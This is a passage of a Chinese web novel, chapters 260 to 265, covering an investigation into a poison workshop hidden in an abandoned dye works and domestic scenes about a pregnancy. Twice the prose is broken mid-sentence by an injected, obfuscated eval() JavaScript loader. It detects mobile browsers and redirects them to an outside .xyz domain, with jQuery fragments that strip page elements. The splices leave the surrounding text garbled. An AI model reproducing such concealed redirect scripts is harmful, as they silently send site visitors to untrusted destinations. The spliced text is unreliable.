“皇城司衙署附近,多了不少生面孔,我们按照您的新方向排查,确实有发现。” 他铺开随身带来的京郊地图,指向西山东南麓的一处标记。 “这里原来是一座名为永丰的染坊,三年前因经营不善废弃。但近两个月,夜间常有车辆出入,守卫森严,还有熬炼药材和金属锻造的混合异味飘出,极为可疑。” “我们的人不敢靠太近,只知道内部被改造过,绝对不是普通废弃工坊。” “永丰染坊……”杜仁绍手指敲着那个点,“我记得,那片地契似乎挂在一个与崔家八竿子打不着的南方商人名下?” “是,层层转手,背景干净得像一张白纸。”赵无咎肯定道,“我们排查了京城周边所有近期有异常的地方,就这里嫌疑最大。” 这时,王猛瓮声瓮气地接话,“国公爷,夫人,南诏那边,玉萝公主基本稳住了王城局面。” “她用了夫人您教的法子,控制住了几个部落的疫病,声望涨了不少,但是……” 他话锋一转,眉头拧紧:“边境不太平,俺带人巡边时,撞见好几个想偷越边境的。” “我抓了几个活口,撬开了嘴,说是受中原商队雇佣,往南诏这边送一种叫‘墨玉髓’的石头!量还不小!” “墨玉髓?”杜仁绍和李梵娘对视一眼。 “可知中原商队的来历?”杜仁绍急问。 王猛摇头:“那些都是小喽啰,接触不到上层。” “只说接头的人神秘,给钱爽快,规矩多,稍有差池非死即残。路线也特别隐蔽,绕开了所有官卡。” 李梵娘沉吟道:“京城需要墨玉髓炼制**,南诏边境走私墨玉髓……” “崔家需要稳定的墨玉髓供应,来源很可能就是南诏。” 杜仁绍眼中寒光一闪:“看来崔泓的手比我们想象的伸得更长,南诏内乱恐怕也少不了他的‘功劳’。” “搅浑水方便他走私牟利,获取那些见不得光的东西。” 他看向赵无咎:“无咎,加派人手,对永丰染坊进行二十四时辰不间断监视。” “务必要摸清他们人员换班、物资运送的所有规律,一定要小心,宁可跟丢也不能打草惊蛇。” “我要知道进去的是什么,出来的又是什么,里面到底在干什么!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556701|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是!” 杜仁绍又看向王猛:“猛子,南诏那边,你立刻修书给玉萝,将墨玉髓走私的事告诉她,让她暗中清查国内哪些部落或者势力与中原有这种往来。” “同时加派我们的人,盯死边境那几个容易走私的隘口,发现异常,立刻拿下,尽量留活口!” “明白!俺回去就办!”王猛拍着胸脯。 杜仁绍站起身,走到窗边。 “我们在明处退了一步,就要在暗处进十步!”他转过身,目光扫过赵无咎和王猛。 “崔家以为掐断了我们明面的手脚,你们各自行动,有任何进展,随时禀报!” “是!”两人身影再次没入暗道之中。 接下来的几日,镇国公府表面平静无波。 杜仁绍深居简出,每日不是在内院陪伴李梵娘,便是在书房“静养”,偶尔有太医署的医官前来请脉,也皆是例行公事,看不出任何异常。 府门紧闭,谢绝了一切访客。 私底下,赵无咎调了的暗探,分批分时的对西山永丰染坊布进行监视。 暗探们伪装成樵夫、猎户、甚至是游方的乞丐,利用地形和夜色掩护,远远盯着废弃染坊。 传回去的消息逐渐拼凑出染坊的运作规律。 每隔三到五日,必然有马车在深夜子时前后抵达,卸下木箱或麻袋,再由里面的人接应进去。 运送物资的车辆来自不同方向,车夫沉默寡言,警惕性极高。 染坊内部白天几乎看不到人活动,但到了后半夜,靠近了能听到沉闷的敲打声和药炉的咕嘟声,还会有一种混合着腥气和药味的气味飘出来,令人作呕。 “确实有冶炼和制药的迹象。”赵无咎深夜来禀报,“我们的人设法弄到了一点从里面清运出来的废渣,夫人或许能看出些什么。” 他递上一个用油纸包得严严实实的小包。 李梵娘不顾杜仁绍担忧,在特制的通风药房里小心打开。 废渣呈黑褐色,夹杂着一些未能完全燃烧的植物纤维和闪烁着金属光泽的细小颗粒。 第二百六十一章 要有弟弟妹妹了? 李梵娘取下来一些用银针拨弄,又滴了几种药汁观察它的反应。 “有烧过的曼陀罗和乌羽玉残留……这些金属颗粒……”她用镊子夹起仔细看了看,脸色微变,“有点像……没有充分提纯的墨玉髓矿石边缘料。” 她抬头看向杜仁绍和赵无咎:“基本可以确定,他们不光是在炼**,有可能还在尝试提纯或者加工墨玉髓。” 杜仁绍拳头握紧:“果然如此,看来南诏走私过来的原石,最终的目的地就是这儿了,必须尽快端掉这个毒窝。” “但这个时机要把握好。”赵无咎接着说,“目前我们只能观察到有物资进出,主要人物都没露面。” “贸然行动的话,恐怕很难做到一网打尽,也拿不到什么最有用的证据。” 与此同时,王猛那边也收到了南诏传回来了的消息。 玉萝接到消息后,已经暗中着手调查,初步怀疑与边境一个叫黑石的中型部落有关。 这个部落近年来突然阔绰,且与中原某些商队来往神秘。 她已经增加人手,监控黑石部落的动向和几条秘密走私通道,只待对方再次行动。 杜仁绍在书房踱步。 染坊要端,但要端得有价值,既要铲除威胁,又要尽可能获取证据。 南诏的线要放长,要钓出背后的大鱼。 “无咎,”他停下脚步,“继续监控染坊,尤其注意有没有身份特殊者出入,想办法搞清楚里面的大致布局和守卫。” 部署完,杜仁绍走到李梵娘身边,见她依旧对着那些废渣出神,轻轻揽住她的肩:“别太耗神,这些脏东西交给我们来处理。” 李梵娘靠在他身上,轻抚着小腹,“我只是在想,他们如此大规模地炼制**,搜集墨玉髓,不知道还藏着多少这样的暗桩。” “管他多少,发现一个,铲除一个,只要我们比他们更快更狠更准,就能把危险扼杀在萌芽里。” “你说得对。”她轻声应着,努力将注意力从那些废渣上移开。 “兵来将挡,水来土掩,只要我们一家人在一起,没什么坎是过不去的。” 正说着,门外传来细碎的脚步声和春儿的声音,“爹爹,娘亲,你们在里面吗?春儿可以进来吗?” 杜仁绍和李梵娘对视一眼,迅速收敛了脸上的凝重。 杜仁绍扬声道:“进来吧,春儿。” 门被推开一条缝,春儿的小脑袋探了进来,大眼睛忽闪忽闪的,先是看了看爹爹,又望向靠在榻上的娘亲,脸上带着显而易见的担忧。 她虽年幼,但也察觉到了什么。 “娘亲,”她蹬蹬蹬跑进来,扑到榻边,仰着小脸,“张大娘说您身子不舒服,要静养,春儿都不敢大声说话。您好些了吗?” 李梵娘心头一软,伸手将女儿揽到身边,温柔地摸着她的头发:“娘亲好多了,春儿真乖。” “只是肚子里可能有了个小弟弟或者小妹妹,所以需要多休息一下。” “小弟弟?小妹妹?”春儿眼睛瞪得溜圆,满是惊奇和难以置信。 她看看娘亲依旧平坦的小腹,又抬头看看爹爹,似乎在确认这不是玩笑。 杜仁绍被女儿可爱的模样逗乐,蹲下身平视着她,肯定地点点头:“是真的,春儿要当姐姐了。” “哇!”春儿一下子从榻上跳起来,开心地拍着小手,在屋里转了个圈。 “春儿要当姐姐啦!太好啦!以后有人陪春儿玩啦!” 她兴奋地跑到李梵娘身边,小手轻轻摸了摸她的肚子,嘴里还念念有词:“小宝宝,你要乖乖的,快点长大,姐姐带你玩毽子,给你吃甜甜的糕糕……” 看着女儿的模样,李梵娘和杜仁绍相视而笑,连日来的阴霾被驱散了不少,孩子的快乐总是如此简单。 这时,侍女端来了安神参汤和几样清淡小菜。 杜仁绍接过托盘,挥手让侍女退下。 “来,梵娘,趁热喝点汤。”他坐到榻边,舀起一勺汤吹了吹,递到李梵娘唇边。 李梵娘有些不好意思,“我自己来就好。” “别动,”杜仁绍语气坚持,“你现在是两个人,让我伺候一回。” 他征战沙场,握惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556702|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了刀剑,现在端着小小的汤碗,动作竟有些笨拙,生怕洒出一滴。 李梵娘看着他专注的神情,心头暖流涌动,顺从地张嘴喝下,汤带着参片的微甘和莲子的清香。 春儿在一旁捂着嘴偷笑,眼睛弯成了月牙:“爹爹喂娘亲吃饭饭,羞羞脸!” 杜仁绍老脸一红,故意板起脸瞪了女儿一眼:“小丫头懂什么,这是爹爹疼你娘亲。”手上的动作却越发轻柔。 时间悄然流逝。 镇国公府大门紧闭,杜仁绍静养的消息已经传遍了京城,成了茶余饭后的谈资,有人惋惜,有人窃喜,更多人在观望。 京郊西山脚下,永丰染坊的废弃建筑群。 距离染坊约一里外的一处高坡密林中,两个几乎与夜色融为一体的身影,死死盯着那里。 他们是皇城司的两个暗探,代号“夜枭”和“山猫”,已经在这里潜伏监视了数个昼夜。 “戌时三刻,西南角第三盏气死风灯熄灭又亮起,间隔五息。是暗哨换岗的信号。”“夜枭”压低声音,对着身旁的同伴说道。 他手指在布局图上点,那里标着一个隐蔽的瞭望点。 “山猫”微微颔首,“换岗频率比前天又缩短了一刻钟,他们在加强戒备,还是里面有什么动静?” 子时将近,这儿安静的只有山风吹过林梢的呜咽声。 突然,一阵有规律的马蹄声和车轮压过土路的窸窣声,由远及近传来。 “来了!”“夜枭”精神一振,紧盯着通往染坊的唯一的荒废官道。 黑暗中,两辆罩着黑布的马车驶来。 没有灯笼,车夫穿着夜行衣,看不清面容。 马车行驶得极稳,显然对这条路熟悉至极。 马车在染坊的木门前停下。 没有敲门也没有喊,只见门板上的一小块活动木板滑开,露出一双眼睛。 车夫递过去一块令牌似的东西,里面的人查验片刻,木门才打开仅容马车通过的缝隙。 两辆马车迅速进去,木门随即关闭,一切重归寂静,仿佛什么都没发生过。 第二百六十二章 证据 “记下,子时正点,两辆黑篷马车,无标识,车夫二人,接应口令未闻,凭信物入内。” ‘夜枭’在小册上记着。 ‘山猫’则更关注那些不容易发现的细节:“马车负重很轻,而且车轮压痕很深深,拉的都是实货,拉车的马蹄声沉闷,应该是钉了特殊马掌,防滑消音。” 他们又等了一会儿。 约莫过了一个时辰,染坊深处,靠近山壁的那一侧,隐隐传来了一些声响。 不像是风吹破窗的呜咽,而是低沉的、有节奏的“咚…咚…”声,中间还夹杂着金属摩擦声,就像是有人在里面进行着某种锻打或捣碎作业。 同时,还有一股难以形容的混合气味,随着风飘过来。 既有草药熬煮的苦涩,又有一股类似铁锈的腥气,还有一种让人闻着头脑发晕的甜腻香气。 “是这里没错了。”“山猫”吸了吸鼻子,脸色凝重。 “这味道……我在江南剿灭那个‘云山亭’密室时闻到过,是炼制那种阴毒玩意儿的特有气味。” “这铁锈腥气,恐怕就是处理墨玉髓原石的味道。” 又过了半个时辰,染坊的另一侧,一个隐蔽的小门打开,几个黑影抬着几个麻袋出来,迅速埋进了附近一个早就挖好的土坑里。 处理好后快速退回,封好小门。 “夜枭”和“山猫”记下埋藏的地点,准备天亮后再设法取样。 这时,染坊二楼的一扇窗户,罕见地透出了光线。 虽然很快被遮住,但足够让眼尖的“山猫”看到窗后一闪而过的几个人影。 其中一人身形瘦高,披着斗篷,侧脸在灯光下一晃而过,面色是不健康的苍白,眼神阴鸷。 “有头目露面了,”“山猫”低声说着,“看气度,不是普通守卫,可惜看不清全貌。” 他们继续潜伏,直到东方天际泛起鱼肚白,染坊再无异动,两人才悄无声息地撤离了监视点。 他们得把这些情报,尽快送回皇城司,送到国公手里。 赵无咎拿到“夜枭”和“山猫”带回的详细记录和绘制的地形草图时,已是第二天下午。 他不敢怠慢,立刻通过密道潜入镇国公府。 书房内,杜仁绍听着赵无咎的汇报,面色沉静。 李梵娘也坐在一旁,虽然杜仁绍一再让她休息,但她坚持要了解最新进展。 “国公爷,夫人,”赵无咎将草图铺在桌上,“根据连日监视,可以确,这永丰染坊就是鬼谷门在京畿的一个重要窝点,很可能是炼制毒药和初步加工墨玉髓。” 他指着草图上的标记:“外围明哨暗卡共有七处,呈梅花状分布,相互呼应,警戒极为森严。” “内部结构经过大规模改造,我们根据声响和气味判断,主要活动区域集中在原染布间和后面的仓库。” “子时左右是他们的活跃期,有物资运送进入。运送车辆伪装严密,来源多样,显然是刻意规避追踪。进入需要特定信物和口令,防守严密。” 杜仁绍手指点着代表主车间的位置:“这咚咚声和金属摩擦声,确定是冶炼或锻造?” “八成把握,”赵无咎肯定道,“暗探都是老手,分得清捣药和锻打的声音差别。” “结合夫人之前分析的废渣中含有未提纯墨玉髓颗粒,很可能他们在提炼或塑造墨玉髓,用于制作特殊器具或作为药引。” 李梵娘此时开口,声音带着疲惫,“那飘出的混合气味,甜腻致晕的部分,应该是以曼陀罗花、天仙子为主的迷魂类药物熬制。” “苦涩刺鼻者,可能混杂了断肠草、乌头等剧毒之物。” “而那铁锈腥气,极可能是墨玉髓原石在切割或者研磨时产生的气味。墨玉髓本身具有一定毒性,研磨吸入对肺腑损伤极大。” 她顿了顿,眼中忧色更深:“他们如此大规模的进行,那些成品毒药,恐怕不仅仅是为了暗杀,或许……有更可怕的用途。” 比如,用于污染水源、制造区域性的恐慌或控制人心。 杜仁绍深吸一口气,压下心头的怒气与寒意:“埋藏的麻袋呢?” “已经趁白天取回少许样本,”赵无咎从怀中取出一个小油纸包,小心打开,里面是些黑灰色的渣滓和几块棱角分明的黑色碎石,“请夫人过目。” 李梵娘戴上特制的手套,拿起碎石仔细查看,又碾碎一点渣滓闻、观察。 “是炼毒失败的残渣,毒性依然剧烈,需深埋处理。” “至于这碎石……确是墨玉髓原石边角料,纯度不高,但足以证明此地正在处理此物。” 证据越来越清晰了。 南诏边境走私墨玉髓原石,运至京城,在这伪装成废弃染坊的据点内进行提炼加工,并用以炼制各种阴毒药物。 “那个露面的头目,”杜仁绍追问,“可有更多特征?” 赵无咎摇头:“光线太暗,时间太短,只能判断身形瘦高,气质阴冷,绝不是寻常之辈。” “暗探猜测,可能是鬼谷门在京城的负责人之一,或者……是崔家派来的人。” 书房内陷入沉默。 敌人就在眼前,必须尽快剜掉这个毒瘤。 但如何剜,才能既清除毒瘤,又尽可能抓住大鱼,拿到证据? 杜仁绍站起身,走到窗边,望着庭院中开始抽新芽的树木。 良久。 “继续监视,但要把重心放在摸清他们的活动规律上,尤其是那个瘦高头目,是否有其他人物来往。” “我们要找一个合适的时机,既要能一举捣毁,缴获证据,又要活捉关键人物,顺藤摸瓜!” “是!”赵无咎的身影再次消失在密道入口。 杜仁绍回身,握住李梵娘的手:“快了,梵娘。等拔掉这颗钉子,断了他们的爪牙,我看崔泓老贼还能玩出什么花样!” 李梵娘靠在他肩上,轻轻“嗯”了一声。 她知道,她和未出世的孩子,是杜仁绍最的后盾,也是他必须守护的软肋。 这场战,他们输不起。 “我们不会输。”她的声音不高,指尖轻轻抚过他的掌心,“为了春儿,为了这个未出世的孩子,也为了这京城千千万万的百姓,我们一定能赢。” 第二百六十三章 乞求 杜仁绍反手握紧她的指尖,微凉的触感让他心头一紧。 “我知道,只是苦了你,怀着身子,还要跟着我担惊受怕,劳心劳力。” “夫妻本是一体,谈何辛苦?”李梵娘微微一笑,“只是眼下,我们需得更谨慎些,赵无咎送来的那些样本,我还需要再仔细查验一番。” 杜仁绍眉头立刻蹙起:“明日再看不迟,你脸色不好,先歇息,这些东西邪门,你如今……” “正是因为我如今情况特殊,才更要尽快弄清楚他们的底细。”李梵娘打断他,语气里满是不容置疑。 “知己知彼,他们对孕妇、对婴孩都可能下手,我早点儿弄清他们毒物的特性,或许就能早点找到防范甚至破解的方法。” 她说着站起身,虽然脚步略显虚浮,但脊背却挺得笔直,直接去了连通着书房的那间小药房。 杜仁绍知道拦不住她,只能快步跟上,顺手拿起一旁架子上她的薄披风,仔细为她披上。 “我陪你。” 小药房内,灯火早就被侍女点燃,空气中弥漫着淡淡的草药清香。 李梵娘在案前坐下,案上整齐摆放着赵无咎之前送来的几个油纸包,上面标注着“染坊外围尘土”、“可疑气味吸附棉”、“埋藏物残渣”等字样。 她先净了手,取过那包“染坊外围尘土”,用银质小匙取少许置于白瓷碟中,凑近灯下观察。 又捻起一点在指腹间摩挲,再凑近鼻尖嗅了一下。 “有硫磺、硝石燃烧后的残留,还有……极细的金属粉末。”她低声分析,随即又打开“可疑气味吸附棉”。 这次她更加小心,只是轻轻扇闻。 一股若有若无,甜中带腥的味道飘散开来,李梵娘的眉头锁紧,胃里一阵翻涌,孕期的反应被这气味勾得强烈起来。 她下意识地捂住了口鼻,脸白了白。 “梵娘!”杜仁绍一步上前扶住她的肩膀,眼中满是心疼与焦急,“别闻了!” 李梵娘摆摆手,强压下不适,深吸了几口,缓了片刻才继续说:“没事……这味道,错不了。” “就是‘碧血瘴’炼制过程中特有的气味,混合了曼陀罗花粉的甜香和某种血毒腥气。”她看向那棉团,“他们果然在大量炼制这个毒。” 最后,她将目光投向那个标记着“埋藏物残渣”的油纸包。 她戴了一副用特殊药液泡过的薄羊皮手套,小心打开。 里面是些黑褐色的、夹杂着没烧干净的植物纤维和些许块状物。 李梵娘用镊子夹起一小块,放在琉璃片上,滴上几滴鉴别的药汁。 “嗞……” 琉璃片上的残渣迅速发生了变化,泛起诡异的墨绿色泡沫,并释放出令人作呕的甜腥气。 与此同时,李梵娘用另一根银针拨开残渣,在灯光下,她清楚的看到了几点闪着幽紫色光的颗粒。 “墨玉髓……”她喃喃道,心脏猛地一沉,“没有充分提纯的原矿颗粒……” 她抬起头,看向一脸凝重的杜仁绍,“仁绍,情况比我们想的更严重,墨玉髓不仅是某些剧毒的药引,其本身经过特殊炼制,可能用于制作阴邪的器具。” 她想起在江南密室看到的那些记载,关于墨玉髓可用于“聚阴”、“引煞”的恐怖描述,心头寒意更盛。 若真如此,一旦被他们成功,危害将难以估量。 杜仁绍听着她的分析,脸色铁青,拳头握得咯咯作响。 “必须尽快端掉它!”他声音低沉,带着压抑不住的杀气。 就在这时,李梵娘忽然感到一阵眩晕袭来,眼前发黑,身子晃了晃,险些从凳子上滑落。 “梵娘!”杜仁绍眼疾手快,一把将她揽住,打横抱起。 “别看了!立刻回去休息!”他的声音带着恐慌。 李梵娘这次没有反对,她确实感到精力透支,小腹也隐隐有些不适。 她将头靠在他坚实的胸膛上,闭了眼,轻声道:“好……样本收好,明日……明日我再……” 话未说完,一阵倦意袭来,她直接在杜仁绍怀中昏昏沉沉地睡了过去。 杜仁绍低头看着李梵娘苍白的脸,心里就像被针扎一样刺痛。 他小心翼翼地将她抱回卧房,轻轻放在榻上,盖好锦被,守在床边,久久不曾离去。 烛火摇曳,将他的身影投在墙上,却透着一股无力感。 他可以指挥千军万马,可以斩将杀敌,却无法替心爱之人分担孕期的辛苦。 李梵娘这一觉睡得并不安稳,梦里都是些毒烟弥漫、诡影重重的染坊,和那些墨玉髓。 直到后半夜,她才被一阵熟悉的的药味儿唤醒。 睁开眼,只见杜仁绍正端着一碗安胎药坐在床边,眼里满是血丝,显然一夜未眠。 “醒了?感觉如何?”他声音沙哑,带着关切,将药碗递到她唇边,“太医署最好的安胎方子,我盯着熬的,趁热喝点。” 李梵娘就着他的手,小口小口地喝着,驱散了些许梦魇带来的寒意。 她看了看窗外依旧沉沉的夜色,哑声道:“什么时辰了?你怎么还没睡?” “寅时了。”杜仁绍用指腹擦去她唇边的药渍,动作轻柔得不像话,“我睡不着。看你睡得不安稳,心里惦记着。” 他放下药碗,握住她的手,“梵娘,听我一句,接下来的事,交给赵无咎,交给王猛,交给我。” “你如今最要紧的,是护好你自己和咱们的孩子,算我求你别再碰那些脏东西,别再耗神分析了。” 李梵娘靠回软枕上,沉默了片刻。 她重新睁开眼,目光坚定:“仁绍,我明白你的担心,但正因为要护住孩子,我才不能置身事外。” 她抬起手,轻轻放在小腹上。 “你想想,对方是鬼谷门,是崔泓那样为达目的不择手段的人。” “他们连袭击国公府、对春儿下手的事都做得出来,难道会对一个孕妇、一个未出世的孩子心慈手软吗?” “他们炼制的毒药,或许就有专门针对妇孺的,我若不了解,如何防范?若有一天……” “我是说万一,我们需要应对,我若一无所知,岂不是任人宰割?” 第二百六十四章 日常 她声音不高,却字字敲在杜仁绍心上:“我是医者,更是母亲,保护孩子不仅是用身体去孕育,更要为他扫清潜在的威胁。” “尽快铲除染坊那个毒瘤,才是对孩子最大的保护。” 她看着杜仁绍眼中的挣扎,放缓了语气,带着一丝恳求:“让我帮你,仁绍。” “在这府里,我能做的有限,但分析毒物、寻找克制的法子,这是我的强项,是我能为我们这个家,为京城百姓尽的一份力。” “我答应你会量力而行,绝不会逞强,好吗?” 杜仁绍望着她恳切的样子,所有劝阻的话都堵在了喉咙里。 他深知她的性子,外表柔婉,内里却比谁都执着。 她说的没错,在这种时候,多一分了解就多一分胜算,也多一分安全。 他长长地叹了口气,把她拥入怀中,下巴抵着她的发顶,声音闷闷的:“好……但你必须答应我,一旦感到任何不适,立刻停下!” “取样、验毒,必须在那间有通风的药房里,做好万全防护,而且每日最多不能超过一个时辰!” “嗯。”李梵娘在他怀里轻轻点头,唇角泛起笑意,“我答应你。” 接下来的几日。 李梵娘严格遵守着与杜仁绍的约定,每日只在精神稍好的上午,进药房一个时辰。 她穿着杜仁绍特意让工匠赶制的防护罩衣,戴着面纱和手套,在通风橱前处理着赵无咎陆续送来的样本。 她的孕期反应依旧明显,时常恶心呕吐,精神不济。 但一旦进入药房,面对那些证据时,她便强迫自己集中起全部精神。 那双因怀孕而浮肿的手,操作起银针、药匙、琉璃器皿时,依旧精准。 她反复的溶解、沉淀、显色反应,不断验证和补充着之前的判断。 她确认了染坊内至少同时在炼制三种以上特性不同的剧毒,其中一种的确对孕体有极强的侵害性。 她也更加确定了墨玉髓被加工的程度和可能的用途方向,甚至根据残渣的比例,推测出对方可能还在尝试某种爆炸物或迷幻剂。 每一次有所发现,她都会详细记录下来,交给杜仁绍。 这些情报就像拼图一般,让皇城司对染坊内部有了越来越清晰的认知,也为制定最终的计划提供了至关重要的依据。 杜仁绍则一面处理着朝中那些琐事,维持着“静养”的表象。 一面通过密道,与赵无咎、王猛保持着紧密联系,根据李梵娘提供的线索,调整着部署。 他每次看到李梵娘从药房出来时那张愈发苍白憔悴的脸,心都像被揪紧一样。 这晚,夜深人静。 李梵娘因为白日里分析样本时吸入了一丝刺激性气体,虽及时处理,但喉咙依旧有些不舒服,轻咳了几声。 杜仁绍立刻惊醒,起身为她倒了温水,轻轻拍着她的背。“还是伤着了?”他语气里满是自责。 “没事,只是有点干痒。”李梵娘喝下水,缓了缓,靠在他怀里,望着窗外稀疏的星星,“仁绍,我今日又发现了一点东西。” “嗯?” “那些墨玉髓残渣的切割面,非常光滑,不像是普通工匠的手笔。” 杜仁绍身体一僵。 “还有,”李梵娘继续道,“根据气味吸附棉上残留的浓度变化,我推测他们大规模炼制毒药的高峰期,可能就在最近三五日。” “因为某些毒物成分挥发性强,浓度在短时间内达到了一个峰值。” 杜仁绍眼中精光一闪:“也就是说,他们可能要有大动作?” “极有可能。”李梵娘肯定道。 夫妻二人陷入沉默,空气中弥漫着凝重。 良久,杜仁绍收紧手臂,把她牢牢圈在怀中,声音在她耳边响起:“放心,梵娘。你提供的这些消息,至关重要。我知道该怎么做了。” 他低下头,吻了吻她的发丝,“我不会让他们有机会伤害你和孩子,绝不会。这场仗我们不仅要赢,还要赢得干净利落!” 她轻轻“嗯”了一声。 次日清晨。 杜仁绍比往常醒得更早,他侧身看着身边仍在熟睡的李梵娘。 他悄悄起身,生怕惊扰了她,去小厨房看了看灶上一直温着的鸡丝粥和几样清淡小菜,又嘱咐侍女将安胎药的火调得再小些。 李梵娘醒来时,便见杜仁绍正坐在窗边的矮榻上,就着晨光翻密报,但听到她醒的动静,立刻抬头。 “醒了?感觉如何?喉咙还难受吗?”他快步走到床边。 “好多了,”李梵娘撑着想坐起来,杜仁绍连忙扶住她,在她身后垫好软枕,“你起得倒早,在看什么?” “赵无咎凌晨送来的,染坊那边昨夜似乎格外‘热闹’,进出车辆比平日多了一倍。”杜仁绍将温水递到她手中,语气尽量平淡,但眼底的凝重瞒不过她。 李梵娘抿了口茶,润了润干涩的喉咙,“看来我的推测没错,他们确实在加紧。” “我明白,”杜仁绍握住她的手,“但越是紧要关头,越要沉住气。” “赵无咎和王猛都已经布置下去,我们现在要做的,是等一个最合适的契机,确保万无一失。”他顿了顿,看着她。 “而你现在最要紧的是养好精神,早膳已经备好了,我让人端进来。” 早膳摆上来,杜仁绍布菜、盛粥,甚至吹凉了才递到她嘴边。 李梵娘看这副样子,心里酸软,乖乖吃饭。 春儿也被张大娘领了进来,小丫头知道娘亲需要静养,不像往日那样闹腾,只是挨着榻边坐下,睁着乌溜溜的大眼睛看着父母,说着自己昨晚梦到了会飞的小马驹,要带未来的弟弟妹妹去天上玩。 两人听着她的话哭笑不得。 用过早膳,杜仁绍本要扶李梵娘再去歇息,她却摇摇头:“躺久了反而浑身酸软,我想去药房看看昨日没做完的记录,放心,只一会儿,绝不久待。” 杜仁绍知她执着,叹了口气,“我陪你。” 药房里,李梵娘没有再接触那些危险的样本,只是将昨日观察到的现象和推测仔细整理,偶尔停下笔思索。 杜仁绍则安静地坐在一旁,目光却不时落在她身上,确保她无恙。 第二百六十五章 部署 午后阳光西斜时,书房与药房相连的书架,再次传来机括滑动声。 杜仁绍猛地转身,李梵娘也停下了笔,抬头望去。 赵无咎从暗道走出来,脸上带着难以抑制的振奋。 他甚至来不及行礼,便快步上前,压低了声音,语气有些急促。 “夫人!果然不出夫人所料!” 他将一份密报双手呈上,“从昨夜子时到今日凌晨,染坊内灯火通明,人员调动频繁,远超平日!” “不仅那两辆常规的黑篷马车进去了,后半夜还陆续来了三辆加固了车轴的平板马车,用厚毡布盖得严严实实,但车辙那么深,显然是重物!” 杜仁绍接过密报,快速扫过,“重物?是提炼好的墨玉髓,还是……成品?” “这个暂时没有办法确定,但‘山猫’冒险靠近了埋藏废料的土坑附近,发现他们这次清理出来的渣滓量是平日里的数倍,而且夹杂着大量的金属碎屑和琉璃碎片!” 李梵娘闻言,心中一凛,“批量生产?墨玉髓质地坚硬,加工不易,产生大量碎屑……” “他们在赶工,赶着出货?” “没错!”赵无咎重重点头,看向杜仁绍,“国公爷,他们极有可能就在这一两天内,把囤积的货物都运走,这是我们动手的最佳时机。” 杜仁绍没有立刻回答,他转身走到书房中央的京城及近郊舆图前,死死盯着永丰染坊。 机会……很难的…… 若是等对方把货物运走,不仅证据没了,这处毒瘤很可能被废弃或者转移,再想揪住尾巴就难了。 但若是仓促动手,对方戒备森严,若是不能一击毙命就要陷入僵持中,或者让关键人物逃脱,后果不堪设想。 李梵娘放下笔,走到他身边,将手搭在他的手臂上。 杜仁绍深吸一口气,眼里的犹豫散去。 “通知沈追、王猛,立刻来见我!”杜仁绍的声音带着决断,“无咎,把你的人撒出去。” “我要知道染坊周边十里内,所有道路岔口,可能设下埋伏或接应的地点,一个时辰内,地图上我要看到标记。” “是!”赵无咎身影一闪,消失在暗道。 杜仁绍看向李梵娘,语气放缓,“梵娘,接下来的事情,你听着就好,不许再劳神。一切交给我。” 李梵娘知道自己不便过多参与,更明白他是担心自己的身体。 她顺从地点点头:“好,我就在一旁。” 一个时辰后。 沈追和王猛都已经赶了过来。 沈追一身轻甲还没来得及脱,应该是刚从京营巡防岗位上下来。 王猛依旧是那副彪悍模样,嘴里还吃着自家媳妇儿给做的糕点。 舆图铺在中央的大案上,赵无咎用朱笔在上面标出了染坊周边的地形、道路、林木、河流,甚至几处可能被利用的废弃民宅和窑洞都有标。 “国公爷,各位将军,”赵无咎指着地图,“染坊背靠西山悬崖,只有正面和东西两侧有路可以通过。” “正面这条废弃官道是主要通道,但视野开阔,不利于我们隐蔽接近,东西两侧是小路,崎岖难走,但林木茂密,很适合潜伏。” “根据我这几日的观察,他们的明哨卡主要分布在这七个位置,”他用朱笔圈出七个点。 “主要活动区在原染布的大车间和靠山壁改建的仓库,那里很可能就是囤货和加工的地方。” 杜仁绍沉默了一会儿,“他们若是要运货,必然会走正面官道,方便车马行驶,但出货前,警戒必然是最严的。” 他抬起头,看向三个得力干将:“我们的目标有三个:第一,彻底捣毁这个毒窝,缴获所有成品、半成品和原料。” “第二,尽可能活捉头目,尤其是那个瘦高个。” “第三,破坏他们的运输线,人赃并获。” 沈追皱眉,“国公爷,我们正面强攻的话,即便是玄甲军恐怕也会伤亡不小,而且容易打草惊蛇,让他们有机会销毁证据或者从后山小路溜走。” 王猛瓮声瓮气地接话:“怕他个鸟!俺带一队人,从西边小路摸上去,先拔掉他几个暗哨,给他们来个中心开花!” 杜仁绍摇了摇头:“猛子,勇气可嘉,但是这不是野战冲锋。里面情况不明,暗道机关恐怕不少,贸然进入,风险太大。” 他手指点着染坊靠山壁的仓库区,“这里是他们的核心,也是可能的软肋。” 他看向赵无咎:“无咎,你的人有没有办法在不惊动哨卡的情况下,摸清仓库区是否有直接通往后山悬崖的密道?” “或者,有没有可能从悬崖上方想办法?” 赵无咎想了想,“直接爬悬崖难度大还容易暴露。” “至于密道……我们之前观察到后山崖壁有几次异常鸟被惊起,应该有出口,但没办法确认具体位置和内部情况。” 杜仁绍眼神微眯,一个大胆的计划在心里浮现,“既然潜不进去,那我们就把他们逼出来,在他们出货的时候动手!” 杜仁绍按自己的想法部署下去,三人离开后,书房内只剩下杜仁绍和李梵娘。 杜仁绍长长舒了一口气,转身看向她,才发现她脸色比刚才更差了。 他心头一紧,连忙上前扶住她:“梵娘!你怎么了?是不是又不舒服?” 